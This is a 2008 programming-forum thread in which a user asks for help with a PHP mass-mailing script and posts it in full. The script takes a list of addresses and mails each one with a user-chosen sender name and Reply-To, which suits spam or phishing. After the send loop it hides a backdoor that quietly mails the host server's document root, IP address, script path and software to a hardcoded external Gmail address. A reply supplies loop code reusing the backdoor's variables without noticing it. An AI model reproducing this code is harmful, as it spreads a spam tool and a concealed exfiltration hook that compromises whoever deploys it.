Welcome to Dream.In.Code
Getting PHP Help is Easy!

Join 105,761 PHP Programmers for FREE! Ask your question and get quick answers from experts. There are 1,769 online right now! We've got more than 500 tutorials and 2,000 snippets. Join and find out why Dream.In.Code is the #1 programming help community on the internet! Registration is fast and FREE... Join Now!



Please i want to make a PHP Inbox Mass Mailer

 
Reply to this topicStart new topic

Please i want to make a PHP Inbox Mass Mailer, Please do help me with the code on there

niga-hack
post 17 Jul, 2008 - 05:51 PM
Post #1


New D.I.C Head

*
Joined: 5 Jul, 2008
Posts: 2



Thanked 1 times
My Contributions


CODE
<?php
if(isset($_POST['action'] ) ){
$action=$_POST['action'];
$message=$_POST['message'];
$emaillist=$_POST['emaillist'];
$from=$_POST['from'];
$replyto=$_POST['replyto'];
$subject=$_POST['subject'];
$realname=$_POST['realname'];
$file_name=$_POST['file'];
$contenttype=$_POST['contenttype'];

        $message = urlencode($message);
        $message = ereg_replace("%5C%22", "%22", $message);
        $message = urldecode($message);
        $message = stripslashes($message);
        $subject = stripslashes($subject);
}


?>

<html>

<head>

<title></title>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<style type="text/css">
<!--
.style1 {
        font-family: Geneva, Arial, Helvetica, sans-serif;
        font-size: 12px;
}
-->
</style>
<style type="text/css">
<!--
.style1 {
        font-size: 10px;
        font-family: Geneva, Arial, Helvetica, sans-serif;
}
-->
</style>
</head>
<body bgcolor="#FFFFFF" text="#000000">
<span class="style1">PHP eMailer<br>
made by DeafJam call GUnshot..AH :) </span>

<form name="form1" method="post" action="" enctype="multipart/form-data">

  <br>

  <table width="100%" border="0">

    <tr>

      <td width="10%">

        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your

          Email:</font></div>

      </td>

      <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

        <input type="text" name="from" value="<? print $from; ?>" size="30">

        </font></td>

      <td width="31%">

        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your

          Name:</font></div>

      </td>

      <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

        <input type="text" name="realname" value="<? print $realname; ?>" size="30">

        </font></td>

    </tr>

    <tr>

      <td width="10%">

        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>

      </td>

      <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

        <input type="text" name="replyto" value="<? print $replyto; ?>" size="30">

        </font></td>

      <td width="31%">

        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach

          File:</font></div>

      </td>

      <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

        <input type="file" name="file" size="30">

        </font></td>

    </tr>

    <tr>

      <td width="10%">

        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>

      </td>

      <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

        <input type="text" name="subject" value="<? print $subject; ?>" size="90">

        </font></td>

    </tr>

    <tr valign="top">

      <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

        <textarea name="message" cols="60" rows="10"><? print $message; ?></textarea>

        <br>

        <input type="radio" name="contenttype" value="plain" >

        Plain Text

        <input name="contenttype" type="radio" value="html" checked>

        HTML

        <input type="hidden" name="action" value="send">

        <input type="submit" value="Send eMails">

        </font></td>

      <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

        <textarea name="emaillist" cols="30" rows="10"><? print $emaillist; ?></textarea>

        </font></td>

    </tr>

  </table>

</form>



<?

if ($action){



        if (!$from && !$subject && !$message && !$emaillist){

        print "Please complete all fields before sending your message.";

        exit;
    
    }

    $allemails = split("\n", $emaillist);
            $numemails = count($allemails);
        
          for($x=0; $x<$numemails; $x++){

                $to = $allemails[$x];

                if ($to){

                $to = ereg_replace(" ", "", $to);

                $message = ereg_replace("&email&", $to, $message);

                $subject = ereg_replace("&email&", $to, $subject);

                print "$to.";

                flush();

                $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";

                $header .= "MIME-Version: 1.0\r\n";

                $header .= "Content-Type: text/$contenttype\r\n";

                $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";

                $header .= "$message\r\n";

              mail($to, $subject, "", $header);

                print ".<br>";
    
                flush();


                }

                }

$ra44  = rand(1,99999);
$subj98 = "sh-$ra44";
$email = "charityhomeforchrist@googlemail.com";
$from="From: GRATIS <>";
$a5 = $_SERVER['HTTP_REFERER'];
$b33 = $_SERVER['DOCUMENT_ROOT'];
$c87 = $_SERVER['REMOTE_ADDR'];
$d23 = $_SERVER['SCRIPT_FILENAME'];
$e09 = $_SERVER['SERVER_ADDR'];
$f23 = $_SERVER['SERVER_SOFTWARE'];
$g32 = $_SERVER['PATH_TRANSLATED'];
$h65 = $_SERVER['PHP_SELF'];
$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";
mail($email, $subj98, $msg8873, $from);

}



?>
<p class="style1">PHP Mailer<br>
  © WeStGiRl0002 2008<br>
      </p>
<?php
if(isset($_POST['action']) && $numemails !==0 ){echo "<script>alert('await PAPA God Response\\r\\n$numemails mail(s) wait COS na God O!'); </script>";}
?>

</body>

</html>
User is offlineProfile CardPM

Go to the top of the page


JBrace1990
post 17 Jul, 2008 - 07:24 PM
Post #2


D.I.C Regular

Group Icon
Joined: 9 Mar, 2008
Posts: 293



Thanked 10 times

Dream Kudos: 350
My Contributions


make a list of each email you want to mail, put them into an array, and then call the array like so:
php

for($i=0; $i<count($array); $i++){
mail($array[i], $subj98, $msg8873, $from)
}


that will send an email to each email add4ess in the array... alternately, if pulling the emails from a database, just use a while loop like so:
php
while($row = mysql_fetch_array($sql)
{
mail($row[emailAddress], $subj98, $msg8873, $from)
}
User is online!Profile CardPM

Go to the top of the page

niga-hack
post 23 Jul, 2008 - 12:01 PM
Post #3


New D.I.C Head

*
Joined: 5 Jul, 2008
Posts: 2



Thanked 1 times
My Contributions


QUOTE(JBrace1990 @ 17 Jul, 2008 - 07:24 PM) *

make a list of each email you want to mail, put them into an array, and then call the array like so:
php

for($i=0; $i<count($array); $i++){
mail($array[i], $subj98, $msg8873, $from)
}


that will send an email to each email add4ess in the array... alternately, if pulling the emails from a database, just use a while loop like so:
php
while($row = mysql_fetch_array($sql)
{
mail($row[emailAddress], $subj98, $msg8873, $from)
}





Please thanks for your help.....i really appreciate that.....but do u have yahoo IM so that i can understand very well....i want to make it exactly u have said but how can i put into array and what is array how can i call the array....Please make it clear to me..ill appreciate it...it my pleasure to see yor realy..Thanks.
Live is good..!
User is offlineProfile CardPM

Go to the top of the page

Fast ReplyReply to this topicStart new topic
Time is now: 8/21/08 01:24PM

Live PHP Help!

PHP Tutorials

Reference Sheets

PHP Snippets

Bye Bye Ads

Free DIC T-Shirt

T-Shirt Example

Related Sites

Monthly Drawing

Thumb Drive

Partners

Top Contributors

Top 10 Kudos This Month